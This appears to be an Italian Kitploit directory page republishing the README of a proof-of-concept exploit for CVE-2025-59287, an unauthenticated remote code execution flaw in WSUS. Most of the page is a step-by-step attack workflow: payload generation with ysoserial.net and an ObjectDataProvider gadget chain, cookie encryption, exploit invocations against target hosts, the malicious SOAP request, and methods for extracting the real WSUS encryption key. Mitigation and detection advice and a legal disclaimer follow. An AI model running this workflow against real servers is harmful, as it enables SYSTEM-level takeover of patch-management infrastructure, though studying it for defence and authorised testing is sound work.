Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-59287-exploit-poc — Proof-of-concept exploit per CVE-2025-59287, una RCE critica non autenticata in WSUS tramite deserializzazione non sicura di BinaryFormatter, che raggiunge privilegi SYSTEM attraverso cookie crittografati appositamente costruiti. | Kitploit
Strumenti/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Proof-of-concept exploit per CVE-2025-59287, una RCE critica non autenticata in WSUS tramite deserializzazione non sicura di BinaryFormatter, che raggiunge privilegi SYSTEM attraverso cookie crittografati appositamente costruiti.

Vedi Repository
1610 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit Proof-of-Concept CVE-2025-59287

Panoramica della Vulnerabilità

CVE-2025-59287 è una vulnerabilità critica di Remote Code Execution (RCE) in Microsoft Windows Server Update Services (WSUS). La vulnerabilità è causata da una deserializzazione non sicura dei dati AuthorizationCookie tramite BinaryFormatter nel metodo EncryptionHelper.DecryptData().

Impatto: Attaccanti non autenticati possono ottenere l'esecuzione remota di codice con privilegi SYSTEM inviando cookie crittografati dannosi all'endpoint GetCookie().

Punteggio CVSS: Critico (9.8)

Dettagli della Vulnerabilità

  • Componente Interessato: Endpoint GetCookie() di WSUS ClientWebService.asmx
  • Causa Principale: BinaryFormatter.Deserialize() chiamato su input non attendibili senza una validazione adeguata
  • Vettore di Attacco: Cookie crittografato dannoso inviato all'endpoint SOAP GetCookie()
  • Autenticazione Richiesta: No (RCE non autenticato)
  • Porte Interessate: 8530 (HTTP), 8531 (HTTPS)
  • Architettura

    root@kitploit:~
    ┌─────────────────┐
    │   Attaccante    │
    │                 │
    │  1. Genera      │
    │     Payload     │
    │     BinaryFmt   │
    │                 │
    │  2. Crittografa │
    │     Payload     │
    │                 │
    │  3. Invia       │
    │     Richiesta   │
    │     SOAP        │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   Server WSUS   │
    │                 │
    │  Endpoint       │
    │  GetCookie()    │
    │                 │
    │  DecryptData()  │◄─── Vulnerabile
    │                 │
    │  BinaryFormatter│◄─── Deserializzazione non sicura
    │  Deserialize()  │
    │                 │
    │  Esegue         │◄─── RCE come SYSTEM
    │  Payload        │
    └─────────────────┘
    

    Struttura dei File

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # Script exploit principale
    ├── BinaryFormatterPayloadGenerator.cs # Generatore payload .NET (C#)
    ├── encrypt_payload.py                 # Helper crittografia WSUS
    ├── requirements.txt                   # Dipendenze Python
    └── README.md                          # Questo file
    

    Prerequisiti

    Ambiente Python

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (per la generazione del payload)

    • Windows con .NET Framework 4.0 o successivo
    • Oppure utilizzare ysoserial.net come alternativa

    Utilizzo

    Metodo 1: Flusso di Lavoro Completo

    Passo 1: Generare il Payload BinaryFormatter

    Opzione A: Utilizzando il generatore C# fornito

    root@kitploit:~
    # Compilare il generatore
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # Generare il payload
    BinaryFormatterPayloadGenerator.exe calc.exe
    # Crea: payload_YYYYMMDDHHMMSS.bin
    

    Opzione B: Utilizzando ysoserial.net (Consigliato)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    Passo 2: Crittografare il Payload

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    IMPORTANTE: La chiave di crittografia in encrypt_payload.py è un segnaposto. Per uno sfruttamento reale, è necessario:

    1. Fare reverse engineering della chiave di crittografia effettiva dai binari WSUS
    2. Aggiornare encrypt_payload.py con la chiave reale
    3. Consultare la sezione "Trovare la Chiave di Crittografia WSUS" di seguito

    Passo 3: Eseguire l'Exploit

    root@kitploit:~
    # Utilizzando il file payload (crittograferà al volo)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # Utilizzando un cookie pre-crittografato
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # Con HTTPS (porta 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    Metodo 2: Test Rapido

    root@kitploit:~
    # Genera, crittografa e sfrutta in un'unica operazione
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <IP_BERSAGLIO> -f payload_*.bin
    

    Trovare la Chiave di Crittografia WSUS Effettiva

    La chiave di crittografia deve essere estratta dai binari WSUS per uno sfruttamento reale.

    Metodo 1: Reverse Engineering con dnSpy

    1. Individuare le DLL WSUS:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      Oppure la directory web IIS:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. Aprire in dnSpy (decompilatore .NET gratuito):

      • Download: https://github.com/dnSpy/dnSpy
      • Aprire Microsoft.UpdateServices.WebServices.dll
    3. Cercare EncryptionHelper:

      • Navigare al namespace: Microsoft.UpdateServices.WebServices
      • Trovare la classe EncryptionHelper
      • Esaminare i metodi DecryptData() e EncryptData()
      • Estrarre la chiave di crittografia e l'algoritmo
    4. Pattern comuni:

      • Array di byte hardcoded
      • Costanti stringa
      • Derivazione della chiave da GUID/SID della macchina

    Metodo 2: Analisi a Runtime

    1. Utilizzare WinDbg o x64dbg:

      • Impostare un breakpoint su EncryptionHelper.DecryptData()
      • Ispezionare memoria/registri per il materiale della chiave
      • Monitorare le operazioni di crittografia/decrittografia
    2. Utilizzare Process Monitor:

      • Filtrare per processo WSUS
      • Cercare accessi a registro/file di configurazione
      • Le chiavi potrebbero essere memorizzate nel registro

    Metodo 3: Analisi Statica

    1. Utilizzare IDA Pro o Ghidra:

      • Caricare i binari WSUS
      • Cercare stringhe relative alla crittografia
      • Analizzare gli algoritmi di derivazione delle chiavi
    2. Utilizzare l'utility strings:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    Aggiornare l'Exploit

    Una volta ottenuta la chiave effettiva, aggiornare encrypt_payload.py:

    root@kitploit:~
    # Sostituire questa riga in encrypt_wsus_cookie():
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # SEGNAPOSTO
    
    # Con la chiave effettiva:
    key_material = b"CHIAVE_EFFETTIVA_DAI_BINARI_WSUS"
    

    Oppure passarla tramite riga di comando:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "CHIAVE_EFFETTIVA"
    

    Flusso dell'Exploit

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. Generare Payload BinaryFormatter                         │
    │    ObjectDataProvider → Process.Start() → Esecuzione Comando│
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. Crittografare il Payload                                  │
    │    AES-128-CBC con chiave di crittografia WSUS               │
    │    Codifica Base64 per la trasmissione                       │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. Creare la Richiesta SOAP                                  │
    │    L'header AuthorizationCookie contiene il payload crittografato│
    │    Metodo GetCookie() nel corpo SOAP                         │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. Inviare all'Endpoint WSUS                                 │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    Porta 8530 (HTTP) o 8531 (HTTPS)                          │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. Elaborazione WSUS                                         │
    │    DecryptData() decrittografa il cookie                     │
    │    BinaryFormatter.Deserialize() esegue il payload           │
    │    → RCE come SYSTEM                                         │
    └─────────────────────────────────────────────────────────────┘
    

    Struttura della Richiesta SOAP

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <BERSAGLIO>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                PAYLOAD_BINARYFORMATTER_CRITTOGRAFATO_BASE64
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    Dettagli sulla Generazione del Payload

    L'exploit utilizza la catena di gadget ObjectDataProvider:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    Quando BinaryFormatter.Deserialize() elabora questo, automaticamente:

    1. Deserializza l'ObjectDataProvider
    2. Invoca il MethodName ("Start") su ObjectInstance (Process)
    3. Passa MethodParameters (ProcessStartInfo)
    4. Esegue il comando con privilegi SYSTEM

    Checklist di Test

    • Generare il payload BinaryFormatter
    • Estrarre/identificare la chiave di crittografia WSUS
    • Crittografare il payload con la chiave corretta
    • Verificare che l'endpoint WSUS sia accessibile
    • Inviare la richiesta SOAP con il cookie dannoso
    • Verificare l'esecuzione del comando sul bersaglio
    • Testare in un ambiente di laboratorio isolato

    Limitazioni

    1. Chiave di Crittografia: La chiave segnaposto non funzionerà su sistemi reali. È necessario estrarre la chiave effettiva.
    2. Payload BinaryFormatter: Richiede .NET Framework o ysoserial.net per la generazione.
    3. Accesso di Rete: È necessario avere accesso di rete all'endpoint WSUS (porte 8530/8531).
    4. Versione WSUS: Il comportamento può variare tra le diverse versioni di WSUS.

    Mitigazione

    Azioni Immediate

    1. Applicare l'Aggiornamento di Sicurezza Microsoft: Applicare la patch immediatamente

      • Controllare l'Advisory di Sicurezza Microsoft
      • Aggiornare WSUS alla versione patchata
    2. Soluzione Temporanea: Bloccare le porte se WSUS non è necessario

      root@kitploit:~
      # Bloccare il traffico in entrata sulle porte WSUS
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. Segmentazione di Rete: Limitare l'accesso agli endpoint WSUS

      • Consentire l'accesso solo da server di aggiornamento autorizzati
      • Utilizzare regole firewall per limitare gli IP sorgente

    Correzioni a Lungo Termine

    1. Sostituire BinaryFormatter: Microsoft dovrebbe sostituirlo con una serializzazione sicura

      • Utilizzare System.Text.Json o System.Xml.Serialization con validazione dei tipi
      • Implementare una lista bianca rigorosa dei tipi
    2. Validazione degli Input: Aggiungere una validazione completa

      • Validare tutti i dati dei cookie prima della deserializzazione
      • Rifiutare tipi/schemi inattesi
    3. Principio del Minimo Privilegio: Eseguire i servizi WSUS con privilegi minimi

      • Non eseguire come SYSTEM se possibile
      • Utilizzare account di servizio con permessi limitati

    Rilevamento

    Indicatori di Compromissione (IoC)

    • Traffico di rete insolito verso la porta 8530/8531
    • Richieste SOAP con header AuthorizationCookie codificati in Base64
    • Esecuzione di processi inattesi dal contesto del servizio WSUS
    • Eccezioni di deserializzazione BinaryFormatter nei log WSUS

    Analisi dei Log

    Controllare i log WSUS per:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    Cercare:

    • Errori delle richieste SOAP
    • Eccezioni di deserializzazione
    • Tentativi di accesso non autorizzato

    Monitoraggio di Rete

    Monitorare per:

    • Richieste SOAP a /ClientWebService/ClientWebService.asmx
    • Payload Base64 di grandi dimensioni negli header AuthorizationCookie
    • Esecuzione di comandi insoliti dal servizio WSUS

    Avviso Legale

    ⚠️ AVVERTENZA: Questo codice exploit è fornito solo per test di sicurezza autorizzati.

    • ✅ Usi Legali:

      • Testare i propri sistemi
      • Penetration testing autorizzato
      • Ricerca sulla sicurezza con permesso
      • Scopi educativi in ambienti controllati
    • ❌ Usi Illegali:

      • Accesso non autorizzato ai sistemi
      • Attacchi dannosi
      • Violazione delle leggi informatiche
      • Qualsiasi uso senza permesso esplicito

    L'uso non autorizzato di questo exploit può comportare un procedimento penale. Utilizzare in modo responsabile ed etico.

    Riferimenti

    • CVE-2025-59287: Voce CVE ufficiale
    • Advisory di Sicurezza Microsoft: Controllare per patch ufficiale e indicazioni
    • Guida alla Sicurezza di BinaryFormatter: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    Crediti

    • Vulnerabilità scoperta da ricercatori di sicurezza
    • PoC sviluppato per scopi educativi e test autorizzati

    Cronologia Versioni

    • v1.0: Rilascio iniziale del PoC
      • Script exploit principale
      • Generatore payload .NET
      • Helper di crittografia
      • Documentazione

    Ricorda: Testare sempre in ambienti isolati e controllati. Non utilizzare mai contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test.

    Scarica lo strumento